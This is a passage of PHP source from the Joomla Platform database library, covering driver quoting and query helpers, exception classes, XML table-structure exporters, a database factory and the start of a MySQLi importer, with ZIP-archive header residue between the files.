*
* @return JDatabaseDriver Returns this object to support chaining.
*
* @since 2.5.0
* @throws RuntimeException
*/
abstract public function lockTable($tableName);
/**
* Quotes and optionally escapes a string to database requirements for use
in database queries.
*
* @param mixed $text A string or an array of strings to quote.
* @param boolean $escape True (default) to escape the string, false
to leave it unchanged.
*
* @return string|array The quoted input.
*
* @note Accepting an array of strings was added in 12.3.
* @since 1.7.0
*/
public function quote($text, $escape = true)
{
if (is_array($text))
{
foreach ($text as $k => $v)
{
$text[$k] = $this->quote($v, $escape);
}
return $text;
}
else
{
return '\'' . ($escape ? $this->escape($text) : $text)
. '\'';
}
}
/**
* Quotes a binary string to database requirements for use in database
queries.
*
* @param mixed $data A binary string to quote.
*
* @return string The binary quoted input string.
*
* @since 3.9.12
*/
public function quoteBinary($data)
{
// SQL standard syntax for hexadecimal literals
return "X'" . bin2hex($data) . "'";
}
/**
* Wrap an SQL statement identifier name such as column, table or database
names in quotes to prevent injection
* risks and reserved word conflicts.
*
* @param mixed $name The identifier name to wrap in quotes, or an
array of identifier names to wrap in quotes.
* Each type supports dot-notation name.
* @param mixed $as The AS query part associated to $name. It can be
string or array, in latter case it has to be
* same length of $name; if is null there will not
be any AS part for string or array element.
*
* @return mixed The quote wrapped name, same type of $name.
*
* @since 1.7.0
*/
public function quoteName($name, $as = null)
{
if (is_string($name))
{
$quotedName = $this->quoteNameStr(explode('.', $name));
$quotedAs = '';
if (!is_null($as))
{
settype($as, 'array');
$quotedAs .= ' AS ' . $this->quoteNameStr($as);
}
return $quotedName . $quotedAs;
}
else
{
$fin = array();
if (is_null($as))
{
foreach ($name as $str)
{
$fin[] = $this->quoteName($str);
}
}
elseif (is_array($name) && (count($name) == count($as)))
{
$count = count($name);
for ($i = 0; $i < $count; $i++)
{
$fin[] = $this->quoteName($name[$i], $as[$i]);
}
}
return $fin;
}
}
/**
* Quote strings coming from quoteName call.
*
* @param array $strArr Array of strings coming from quoteName
dot-explosion.
*
* @return string Dot-imploded string of quoted parts.
*
* @since 1.7.3
*/
protected function quoteNameStr($strArr)
{
$parts = array();
$q = $this->nameQuote;
foreach ($strArr as $part)
{
if (is_null($part))
{
continue;
}
if (strlen($q) == 1)
{
$parts[] = $q . str_replace($q, $q . $q, $part) . $q;
}
else
{
$parts[] = $q[0] . str_replace($q[1], $q[1] . $q[1], $part) . $q[1];
}
}
return implode('.', $parts);
}
/**
* This function replaces a string identifier
<var>$prefix</var> with the string held is the
* <var>tablePrefix</var> class variable.
*
* @param string $sql The SQL statement to prepare.
* @param string $prefix The common table prefix.
*
* @return string The processed SQL statement.
*
* @since 1.7.0
*/
public function replacePrefix($sql, $prefix = '#__')
{
$startPos = 0;
$literal = '';
$sql = trim($sql);
$n = strlen($sql);
while ($startPos < $n)
{
$ip = strpos($sql, $prefix, $startPos);
if ($ip === false)
{
break;
}
$j = strpos($sql, "'", $startPos);
$k = strpos($sql, '"', $startPos);
if (($k !== false) && (($k < $j) || ($j === false)))
{
$quoteChar = '"';
$j = $k;
}
else
{
$quoteChar = "'";
}
if ($j === false)
{
$j = $n;
}
$literal .= str_replace($prefix, $this->tablePrefix, substr($sql,
$startPos, $j - $startPos));
$startPos = $j;
$j = $startPos + 1;
if ($j >= $n)
{
break;
}
// Quote comes first, find end of quote
while (true)
{
$k = strpos($sql, $quoteChar, $j);
$escaped = false;
if ($k === false)
{
break;
}
$l = $k - 1;
while ($l >= 0 && $sql[$l] == '\\')
{
$l--;
$escaped = !$escaped;
}
if ($escaped)
{
$j = $k + 1;
continue;
}
break;
}
if ($k === false)
{
// Error in the query - no end quote; ignore it
break;
}
$literal .= substr($sql, $startPos, $k - $startPos + 1);
$startPos = $k + 1;
}
if ($startPos < $n)
{
$literal .= substr($sql, $startPos, $n - $startPos);
}
return $literal;
}
/**
* Renames a table in the database.
*
* @param string $oldTable The name of the table to be renamed
* @param string $newTable The new name for the table.
* @param string $backup Table prefix
* @param string $prefix For the table - used to rename constraints
in non-mysql databases
*
* @return JDatabaseDriver Returns this object to support chaining.
*
* @since 2.5.0
* @throws RuntimeException
*/
abstract public function renameTable($oldTable, $newTable, $backup = null,
$prefix = null);
/**
* Select a database for use.
*
* @param string $database The name of the database to select for use.
*
* @return boolean True if the database was successfully selected.
*
* @since 1.7.0
* @throws RuntimeException
*/
abstract public function select($database);
/**
* Sets the database debugging state for the driver.
*
* @param boolean $level True to enable debugging.
*
* @return boolean The old debugging level.
*
* @since 1.7.0
* @deprecated 4.0 This will be removed in Joomla 4 without replacement
*/
public function setDebug($level)
{
$previous = $this->debug;
$this->debug = (bool) $level;
return $previous;
}
/**
* Sets the SQL statement string for later execution.
*
* @param mixed $query The SQL statement to set either as a
JDatabaseQuery object or a string.
* @param integer $offset The affected row offset to set.
* @param integer $limit The maximum affected rows to set.
*
* @return JDatabaseDriver This object to support method chaining.
*
* @since 1.7.0
*/
public function setQuery($query, $offset = 0, $limit = 0)
{
$this->sql = $query;
if ($query instanceof JDatabaseQueryLimitable)
{
if (!$limit && $query->limit)
{
$limit = $query->limit;
}
if (!$offset && $query->offset)
{
$offset = $query->offset;
}
$query->setLimit($limit, $offset);
}
else
{
$this->limit = (int) max(0, $limit);
$this->offset = (int) max(0, $offset);
}
return $this;
}
/**
* Set the connection to use UTF-8 character encoding.
*
* @return boolean True on success.
*
* @since 1.7.0
*/
abstract public function setUtf();
/**
* Method to commit a transaction.
*
* @param boolean $toSavepoint If true, commit to the last savepoint.
*
* @return void
*
* @since 1.7.0
* @throws RuntimeException
*/
abstract public function transactionCommit($toSavepoint = false);
/**
* Method to roll back a transaction.
*
* @param boolean $toSavepoint If true, rollback to the last
savepoint.
*
* @return void
*
* @since 1.7.0
* @throws RuntimeException
*/
abstract public function transactionRollback($toSavepoint = false);
/**
* Method to initialize a transaction.
*
* @param boolean $asSavepoint If true and a transaction is already
active, a savepoint will be created.
*
* @return void
*
* @since 1.7.0
* @throws RuntimeException
*/
abstract public function transactionStart($asSavepoint = false);
/**
* Method to truncate a table.
*
* @param string $table The table to truncate
*
* @return void
*
* @since 1.7.3
* @throws RuntimeException
*/
public function truncateTable($table)
{
$this->setQuery('TRUNCATE TABLE ' .
$this->quoteName($table));
$this->execute();
}
/**
* Updates a row in a table based on an object's properties.
*
* @param string $table The name of the database table to
update.
* @param object &$object A reference to an object whose
public properties match the table fields.
* @param array|string $key The name of the primary key.
* @param boolean $nulls True to update null fields or false to
ignore them.
*
* @return boolean True on success.
*
* @since 1.7.0
* @throws RuntimeException
*/
public function updateObject($table, &$object, $key, $nulls = false)
{
$fields = array();
$where = array();
if (is_string($key))
{
$key = array($key);
}
if (is_object($key))
{
$key = (array) $key;
}
// Create the base update statement.
$statement = 'UPDATE ' . $this->quoteName($table) . '
SET %s WHERE %s';
// Iterate over the object variables to build the query fields/value
pairs.
foreach (get_object_vars($object) as $k => $v)
{
// Only process scalars that are not internal fields.
if (is_array($v) || is_object($v) || $k[0] === '_')
{
continue;
}
// Set the primary key to the WHERE clause instead of a field to update.
if (in_array($k, $key))
{
$where[] = $this->quoteName($k) . ($v === null ? ' IS
NULL' : ' = ' . $this->quote($v));
continue;
}
// Prepare and sanitize the fields and values for the database query.
if ($v === null)
{
// If the value is null and we want to update nulls then set it.
if ($nulls)
{
$val = 'NULL';
}
// If the value is null and we do not want to update nulls then ignore
this field.
else
{
continue;
}
}
// The field is not null so we prep it for update.
else
{
$val = $this->quote($v);
}
// Add the field to be updated.
$fields[] = $this->quoteName($k) . '=' . $val;
}
// We don't have any fields to update.
if (empty($fields))
{
return true;
}
// Set the query and execute the update.
$this->setQuery(sprintf($statement, implode(',', $fields),
implode(' AND ', $where)));
return $this->execute();
}
/**
* Execute the SQL statement.
*
* @return mixed A database cursor resource on success, boolean false on
failure.
*
* @since 3.0.0
* @throws RuntimeException
*/
abstract public function execute();
/**
* Unlocks tables in the database.
*
* @return JDatabaseDriver Returns this object to support chaining.
*
* @since 2.5.0
* @throws RuntimeException
*/
abstract public function unlockTables();
}
PKHn�[�ۄ���!database/exception/connecting.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Database
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Exception class defining an error connecting to the database platform
*
* @since 3.6
*/
class JDatabaseExceptionConnecting extends RuntimeException
{
}
PKHn�[>�����
database/exception/executing.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Database
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Exception class defining an error executing a statement
*
* @since 3.6
*/
class JDatabaseExceptionExecuting extends RuntimeException
{
/**
* The SQL statement that was executed.
*
* @var string
* @since 3.6
*/
private $query;
/**
* Construct the exception
*
* @param string $query The SQL statement that was executed.
* @param string $message The Exception message to throw.
[optional]
* @param integer $code The Exception code. [optional]
* @param Exception $previous The previous exception used for the
exception chaining. [optional]
*
* @since 3.6
*/
public function __construct($query, $message = '', $code = 0,
Exception $previous = null)
{
parent::__construct($message, $code, $previous);
$this->query = $query;
}
/**
* Get the SQL statement that was executed
*
* @return string
*
* @since 3.6
*/
public function getQuery()
{
return $this->query;
}
}
PKHn�[n��u��"database/exception/unsupported.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Database
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Exception class defining an unsupported database object
*
* @since 3.6
*/
class JDatabaseExceptionUnsupported extends RuntimeException
{
}
PKHn�[+��%database/exporter/mysql.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Database
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* MySQL export driver.
*
* @since 1.7.0
* @deprecated 4.0 Use MySQLi or PDO MySQL instead
*/
class JDatabaseExporterMysql extends JDatabaseExporterMysqli
{
/**
* Checks if all data and options are in order prior to exporting.
*
* @return JDatabaseExporterMysql Method supports chaining.
*
* @since 1.7.0
* @throws Exception if an error is encountered.
*/
public function check()
{
// Check if the db connector has been set.
if (!($this->db instanceof JDatabaseDriverMysql))
{
throw new
Exception('JPLATFORM_ERROR_DATABASE_CONNECTOR_WRONG_TYPE');
}
// Check if the tables have been specified.
if (empty($this->from))
{
throw new Exception('JPLATFORM_ERROR_NO_TABLES_SPECIFIED');
}
return $this;
}
}
PKHn�[�{c���database/exporter/mysqli.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Database
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* MySQLi export driver.
*
* @since 1.7.0
*/
class JDatabaseExporterMysqli extends JDatabaseExporter
{
/**
* Builds the XML data for the tables to export.
*
* @return string An XML string
*
* @since 1.7.0
* @throws Exception if an error occurs.
*/
protected function buildXml()
{
$buffer = array();
$buffer[] = '<?xml version="1.0"?>';
$buffer[] = '<mysqldump
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">';
$buffer[] = ' <database name="">';
$buffer = array_merge($buffer, $this->buildXmlStructure());
$buffer[] = ' </database>';
$buffer[] = '</mysqldump>';
return implode("\n", $buffer);
}
/**
* Builds the XML structure to export.
*
* @return array An array of XML lines (strings).
*
* @since 1.7.0
* @throws Exception if an error occurs.
*/
protected function buildXmlStructure()
{
$buffer = array();
foreach ($this->from as $table)
{
// Replace the magic prefix if found.
$table = $this->getGenericTableName($table);
// Get the details columns information.
$fields = $this->db->getTableColumns($table, false);
$keys = $this->db->getTableKeys($table);
$buffer[] = ' <table_structure name="' . $table .
'">';
foreach ($fields as $field)
{
$buffer[] = ' <field Field="' . $field->Field .
'"' . ' Type="' . $field->Type .
'"' . ' Null="' . $field->Null .
'"' . ' Key="' .
$field->Key . '"' . (isset($field->Default) ?
' Default="' . $field->Default . '"' :
'') . ' Extra="' . $field->Extra .
'"' .
' />';
}
foreach ($keys as $key)
{
$buffer[] = ' <key Table="' . $table .
'"' . ' Non_unique="' . $key->Non_unique .
'"' . ' Key_name="' . $key->Key_name .
'"' .
' Seq_in_index="' . $key->Seq_in_index .
'"' . ' Column_name="' . $key->Column_name
. '"' . ' Collation="' . $key->Collation .
'"' .
' Null="' . $key->Null . '"' . '
Index_type="' . $key->Index_type . '"' .
' Comment="' . htmlspecialchars($key->Comment,
ENT_COMPAT, 'UTF-8') . '"' . ' />';
}
$buffer[] = ' </table_structure>';
}
return $buffer;
}
/**
* Checks if all data and options are in order prior to exporting.
*
* @return JDatabaseExporterMysqli Method supports chaining.
*
* @since 1.7.0
* @throws Exception if an error is encountered.
*/
public function check()
{
// Check if the db connector has been set.
if (!($this->db instanceof JDatabaseDriverMysqli))
{
throw new
Exception('JPLATFORM_ERROR_DATABASE_CONNECTOR_WRONG_TYPE');
}
// Check if the tables have been specified.
if (empty($this->from))
{
throw new Exception('JPLATFORM_ERROR_NO_TABLES_SPECIFIED');
}
return $this;
}
}
PKHn�[�U��database/exporter/pdomysql.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Database
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* MySQL export driver for the PDO based MySQL database driver.
*
* @package Joomla.Platform
* @subpackage Database
* @since 3.4
*/
class JDatabaseExporterPdomysql extends JDatabaseExporter
{
/**
* Builds the XML data for the tables to export.
*
* @return string An XML string
*
* @since 3.4
* @throws Exception if an error occurs.
*/
protected function buildXml()
{
$buffer = array();
$buffer[] = '<?xml version="1.0"?>';
$buffer[] = '<mysqldump
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">';
$buffer[] = ' <database name="">';
$buffer = array_merge($buffer, $this->buildXmlStructure());
$buffer[] = ' </database>';
$buffer[] = '</mysqldump>';
return implode("\n", $buffer);
}
/**
* Builds the XML structure to export.
*
* @return array An array of XML lines (strings).
*
* @since 3.4
* @throws Exception if an error occurs.
*/
protected function buildXmlStructure()
{
$buffer = array();
foreach ($this->from as $table)
{
// Replace the magic prefix if found.
$table = $this->getGenericTableName($table);
// Get the details columns information.
$fields = $this->db->getTableColumns($table, false);
$keys = $this->db->getTableKeys($table);
$buffer[] = ' <table_structure name="' . $table .
'">';
foreach ($fields as $field)
{
$buffer[] = ' <field Field="' . $field->Field .
'"' . ' Type="' . $field->Type .
'"' . ' Null="' . $field->Null .
'"' . ' Key="' .
$field->Key . '"' . (isset($field->Default) ?
' Default="' . $field->Default . '"' :
'') . ' Extra="' . $field->Extra .
'"' .
' />';
}
foreach ($keys as $key)
{
$buffer[] = ' <key Table="' . $table .
'"' . ' Non_unique="' . $key->Non_unique .
'"' . ' Key_name="' . $key->Key_name .
'"' .
' Seq_in_index="' . $key->Seq_in_index .
'"' . ' Column_name="' . $key->Column_name
. '"' . ' Collation="' . $key->Collation .
'"' .
' Null="' . $key->Null . '"' . '
Index_type="' . $key->Index_type . '"' .
' Comment="' . htmlspecialchars($key->Comment,
ENT_COMPAT, 'UTF-8') . '"' . ' />';
}
$buffer[] = ' </table_structure>';
}
return $buffer;
}
/**
* Checks if all data and options are in order prior to exporting.
*
* @return JDatabaseExporterPdomysql Method supports chaining.
*
* @since 3.4
* @throws Exception if an error is encountered.
*/
public function check()
{
// Check if the db connector has been set.
if (!($this->db instanceof JDatabaseDriverPdomysql))
{
throw new
Exception('JPLATFORM_ERROR_DATABASE_CONNECTOR_WRONG_TYPE');
}
// Check if the tables have been specified.
if (empty($this->from))
{
throw new Exception('JPLATFORM_ERROR_NO_TABLES_SPECIFIED');
}
return $this;
}
}
PKHn�[THF{��database/exporter/pgsql.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Database
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* PDO PostgreSQL Database Exporter.
*
* @since 3.9.0
*/
class JDatabaseExporterPgsql extends JDatabaseExporterPostgresql
{
/**
* Checks if all data and options are in order prior to exporting.
*
* @return JDatabaseExporterPgsql Method supports chaining.
*
* @since 3.9.0
* @throws \Exception if an error is encountered.
*/
public function check()
{
// Check if the db connector has been set.
if (!($this->db instanceof JDatabaseDriverPgsql))
{
throw new
Exception('JPLATFORM_ERROR_DATABASE_CONNECTOR_WRONG_TYPE');
}
// Check if the tables have been specified.
if (empty($this->from))
{
throw new Exception('JPLATFORM_ERROR_NO_TABLES_SPECIFIED');
}
return $this;
}
}
PKHn�[��v
database/exporter/postgresql.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Database
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* PostgreSQL export driver.
*
* @since 3.0.0
* @deprecated 4.0 Use PDO PostgreSQL instead
*
* @property-read JDatabaseDriverPostgresql $db The database connector
to use for exporting structure and/or data.
*/
class JDatabaseExporterPostgresql extends JDatabaseExporter
{
/**
* Builds the XML data for the tables to export.
*
* @return string An XML string
*
* @since 3.0.0
* @throws Exception if an error occurs.
*/
protected function buildXml()
{
$buffer = array();
$buffer[] = '<?xml version="1.0"?>';
$buffer[] = '<postgresqldump
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">';
$buffer[] = ' <database name="">';
$buffer = array_merge($buffer, $this->buildXmlStructure());
$buffer[] = ' </database>';
$buffer[] = '</postgresqldump>';
return implode("\n", $buffer);
}
/**
* Builds the XML structure to export.
*
* @return array An array of XML lines (strings).
*
* @since 3.0.0
* @throws Exception if an error occurs.
*/
protected function buildXmlStructure()
{
$buffer = array();
foreach ($this->from as $table)
{
// Replace the magic prefix if found.
$table = $this->getGenericTableName($table);
// Get the details columns information.
$fields = $this->db->getTableColumns($table, false);
$keys = $this->db->getTableKeys($table);
$sequences = $this->db->getTableSequences($table);
$buffer[] = ' <table_structure name="' . $table .
'">';
foreach ($sequences as $sequence)
{
if (version_compare($this->db->getVersion(), '9.1.0')
< 0)
{
$sequence->start_value = null;
}
$buffer[] = ' <sequence Name="' .
$sequence->sequence . '"' . ' Schema="' .
$sequence->schema . '"' .
' Table="' . $sequence->table . '"' .
' Column="' . $sequence->column . '"' .
' Type="' . $sequence->data_type . '"' .
' Start_Value="' . $sequence->start_value .
'"' . ' Min_Value="' .
$sequence->minimum_value . '"' .
' Max_Value="' . $sequence->maximum_value .
'"' . ' Increment="' .
$sequence->increment . '"' .
' Cycle_option="' . $sequence->cycle_option .
'"' .
' />';
}
foreach ($fields as $field)
{
$buffer[] = ' <field Field="' .
$field->column_name . '"' . ' Type="' .
$field->type . '"' . ' Null="' .
$field->null . '"' .
(isset($field->default) ? ' Default="' .
$field->default . '"' : '') . '
Comments="' . $field->comments . '"' .
' />';
}
foreach ($keys as $key)
{
$buffer[] = ' <key Index="' . $key->idxName .
'"' . ' is_primary="' . $key->isPrimary .
'"' . ' is_unique="' . $key->isUnique .
'"' .
' Query="' . $key->Query . '" />';
}
$buffer[] = ' </table_structure>';
}
return $buffer;
}
/**
* Checks if all data and options are in order prior to exporting.
*
* @return JDatabaseExporterPostgresql Method supports chaining.
*
* @since 3.0.0
* @throws Exception if an error is encountered.
*/
public function check()
{
// Check if the db connector has been set.
if (!($this->db instanceof JDatabaseDriverPostgresql))
{
throw new
Exception('JPLATFORM_ERROR_DATABASE_CONNECTOR_WRONG_TYPE');
}
// Check if the tables have been specified.
if (empty($this->from))
{
throw new Exception('JPLATFORM_ERROR_NO_TABLES_SPECIFIED');
}
return $this;
}
}
PKHn�[r�(��database/exporter.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Database
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Joomla Platform Database Exporter Class
*
* @since 3.0.0
*/
abstract class JDatabaseExporter
{
/**
* The type of output format (xml).
*
* @var string
* @since 3.2.0
*/
protected $asFormat = 'xml';
/**
* An array of cached data.
*
* @var array
* @since 3.2.0
*/
protected $cache = array();
/**
* The database connector to use for exporting structure and/or data.
*
* @var JDatabaseDriver
* @since 3.2.0
*/
protected $db = null;
/**
* An array input sources (table names).
*
* @var array
* @since 3.2.0
*/
protected $from = array();
/**
* An array of options for the exporter.
*
* @var object
* @since 3.2.0
*/
protected $options = null;
/**
* Constructor.
*
* Sets up the default options for the exporter.
*
* @since 3.2.0
*/
public function __construct()
{
$this->options = new stdClass;
$this->cache = array('columns' => array(),
'keys' => array());
// Set up the class defaults:
// Export with only structure
$this->withStructure();
// Export as xml.
$this->asXml();
// Default destination is a string using $output = (string) $exporter;
}
/**
* Magic function to exports the data to a string.
*
* @return string
*
* @since 3.2.0
* @throws Exception if an error is encountered.
*/
public function __toString()
{
// Check everything is ok to run first.
$this->check();
// Get the format.
switch ($this->asFormat)
{
case 'xml':
default:
$buffer = $this->buildXml();
break;
}
return $buffer;
}
/**
* Set the output option for the exporter to XML format.
*
* @return JDatabaseExporter Method supports chaining.
*
* @since 3.2.0
*/
public function asXml()
{
$this->asFormat = 'xml';
return $this;
}
/**
* Builds the XML data for the tables to export.
*
* @return string An XML string
*
* @since 3.2.0
* @throws Exception if an error occurs.
*/
abstract protected function buildXml();
/**
* Builds the XML structure to export.
*
* @return array An array of XML lines (strings).
*
* @since 3.2.0
* @throws Exception if an error occurs.
*/
abstract protected function buildXmlStructure();
/**
* Checks if all data and options are in order prior to exporting.
*
* @return JDatabaseDriver Method supports chaining.
*
* @since 3.2.0
* @throws Exception if an error is encountered.
*/
abstract public function check();
/**
* Specifies a list of table names to export.
*
* @param mixed $from The name of a single table, or an array of the
table names to export.
*
* @return JDatabaseExporter Method supports chaining.
*
* @since 3.2.0
* @throws Exception if input is not a string or array.
*/
public function from($from)
{
if (is_string($from))
{
$this->from = array($from);
}
elseif (is_array($from))
{
$this->from = $from;
}
else
{
throw new
Exception('JPLATFORM_ERROR_INPUT_REQUIRES_STRING_OR_ARRAY');
}
return $this;
}
/**
* Get the generic name of the table, converting the database prefix to
the wildcard string.
*
* @param string $table The name of the table.
*
* @return string The name of the table with the database prefix
replaced with #__.
*
* @since 3.2.0
*/
protected function getGenericTableName($table)
{
$prefix = $this->db->getPrefix();
// Replace the magic prefix if found.
$table = preg_replace("|^$prefix|", '#__', $table);
return $table;
}
/**
* Sets the database connector to use for exporting structure and/or data
from MySQL.
*
* @param JDatabaseDriver $db The database connector.
*
* @return JDatabaseExporter Method supports chaining.
*
* @since 3.2.0
*/
public function setDbo(JDatabaseDriver $db)
{
$this->db = $db;
return $this;
}
/**
* Sets an internal option to export the structure of the input table(s).
*
* @param boolean $setting True to export the structure, false to not.
*
* @return JDatabaseExporter Method supports chaining.
*
* @since 3.2.0
*/
public function withStructure($setting = true)
{
$this->options->withStructure = (boolean) $setting;
return $this;
}
}
PKHn�[::2jjdatabase/factory.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Database
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Joomla Platform Database Factory class
*
* @since 3.0.0
*/
class JDatabaseFactory
{
/**
* Contains the current JDatabaseFactory instance
*
* @var JDatabaseFactory
* @since 3.0.0
*/
private static $_instance = null;
/**
* Method to return a JDatabaseDriver instance based on the given options.
There are three global options and then
* the rest are specific to the database driver. The 'database'
option determines which database is to
* be used for the connection. The 'select' option determines
whether the connector should automatically select
* the chosen database.
*
* Instances are unique to the given options and new objects are only
created when a unique options array is
* passed into the method. This ensures that we don't end up with
unnecessary database connection resources.
*
* @param string $name Name of the database driver you'd like
to instantiate
* @param array $options Parameters to be passed to the database
driver.
*
* @return JDatabaseDriver A database driver object.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function getDriver($name = 'mysqli', $options = array())
{
// Sanitize the database connector options.
$options['driver'] =
preg_replace('/[^A-Z0-9_\.-]/i', '', $name);
$options['database'] = (isset($options['database']))
? $options['database'] : null;
$options['select'] = (isset($options['select'])) ?
$options['select'] : true;
// Derive the class name from the driver.
$class = 'JDatabaseDriver' .
ucfirst(strtolower($options['driver']));
// If the class still doesn't exist we have nothing left to do but
throw an exception. We did our best.
if (!class_exists($class))
{
throw new JDatabaseExceptionUnsupported(sprintf('Unable to load
Database Driver: %s', $options['driver']));
}
// Create our new JDatabaseDriver connector based on the options given.
try
{
$instance = new $class($options);
}
catch (RuntimeException $e)
{
throw new JDatabaseExceptionConnecting(sprintf('Unable to connect
to the Database: %s', $e->getMessage()), $e->getCode(), $e);
}
return $instance;
}
/**
* Gets an exporter class object.
*
* @param string $name Name of the driver you want an
exporter for.
* @param JDatabaseDriver $db Optional JDatabaseDriver instance
*
* @return JDatabaseExporter An exporter object.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function getExporter($name, JDatabaseDriver $db = null)
{
// Derive the class name from the driver.
$class = 'JDatabaseExporter' . ucfirst(strtolower($name));
// Make sure we have an exporter class for this driver.
if (!class_exists($class))
{
// If it doesn't exist we are at an impasse so throw an exception.
throw new JDatabaseExceptionUnsupported('Database Exporter not
found.');
}
$o = new $class;
if ($db instanceof JDatabaseDriver)
{
$o->setDbo($db);
}
return $o;
}
/**
* Gets an importer class object.
*
* @param string $name Name of the driver you want an
importer for.
* @param JDatabaseDriver $db Optional JDatabaseDriver instance
*
* @return JDatabaseImporter An importer object.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function getImporter($name, JDatabaseDriver $db = null)
{
// Derive the class name from the driver.
$class = 'JDatabaseImporter' . ucfirst(strtolower($name));
// Make sure we have an importer class for this driver.
if (!class_exists($class))
{
// If it doesn't exist we are at an impasse so throw an exception.
throw new JDatabaseExceptionUnsupported('Database importer not
found.');
}
$o = new $class;
if ($db instanceof JDatabaseDriver)
{
$o->setDbo($db);
}
return $o;
}
/**
* Gets an instance of the factory object.
*
* @return JDatabaseFactory
*
* @since 3.0.0
*/
public static function getInstance()
{
return self::$_instance ? self::$_instance : new JDatabaseFactory;
}
/**
* Get the current query object or a new JDatabaseQuery object.
*
* @param string $name Name of the driver you want an query
object for.
* @param JDatabaseDriver $db Optional JDatabaseDriver instance
*
* @return JDatabaseQuery The current query object or a new object
extending the JDatabaseQuery class.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function getQuery($name, JDatabaseDriver $db = null)
{
// Derive the class name from the driver.
$class = 'JDatabaseQuery' . ucfirst(strtolower($name));
// Make sure we have a query class for this driver.
if (!class_exists($class))
{
// If it doesn't exist we are at an impasse so throw an exception.
throw new JDatabaseExceptionUnsupported('Database Query class not
found');
}
return new $class($db);
}
/**
* Gets an instance of a factory object to return on subsequent calls of
getInstance.
*
* @param JDatabaseFactory $instance A JDatabaseFactory object.
*
* @return void
*
* @since 3.0.0
*/
public static function setInstance(JDatabaseFactory $instance = null)
{
self::$_instance = $instance;
}
}
PKHn�[�ڙdatabase/importer/mysql.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Database
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* MySQL import driver.
*
* @since 1.7.0
* @deprecated 4.0 Use MySQLi or PDO MySQL instead
*/
class JDatabaseImporterMysql extends JDatabaseImporterMysqli
{
/**
* Checks if all data and options are in order prior to exporting.
*
* @return JDatabaseImporterMysql Method supports chaining.
*
* @since 1.7.0
* @throws Exception if an error is encountered.
*/
public function check()
{
// Check if the db connector has been set.
if (!($this->db instanceof JDatabaseDriverMysql))
{
throw new
Exception('JPLATFORM_ERROR_DATABASE_CONNECTOR_WRONG_TYPE');
}
// Check if the tables have been specified.
if (empty($this->from))
{
throw new Exception('JPLATFORM_ERROR_NO_TABLES_SPECIFIED');
}
return $this;
}
}
PKHn�[&��;�-�-database/importer/mysqli.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Database
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* MySQLi import driver.
*
* @since 1.7.0
*/
class JDatabaseImporterMysqli extends JDatabaseImporter
{
/**
* Checks if all data and options are in order prior to exporting.
*
* @return JDatabaseImporterMysqli Method supports chaining.
*
* @since 1.7.0
* @throws Exception if an error is encountered.
*/
public function check()
{
// Check if the db connector has been set.
if (!($this->db instanceof JDatabaseDriverMysqli))
{
throw new
Exception('JPLATFORM_ERROR_DATABASE_CONNECTOR_WRONG_TYPE');
}
// Check if the tables have been specified.
if (empty($this->from))
{
throw new Exception('JPLATFORM_ERROR_NO_TABLES_SPECIFIED');
}
return $this;
}
/**
* Get the SQL syntax to add a table.
*
* @param SimpleXMLElement $table The table information.
*
* @return string
*
* @since 1.7.0
* @throws RuntimeException
*/
protected function xmlToCreate(SimpleXMLElement $table)
{
$existingTables = $this->db->getTableList();
$tableName = (string) $table['name'];
if (in_array($tableName, $existingTables))
{
throw new RuntimeException('The table you are trying to create
already exists');
}
$createTableStatement = 'CREATE TABLE ' .
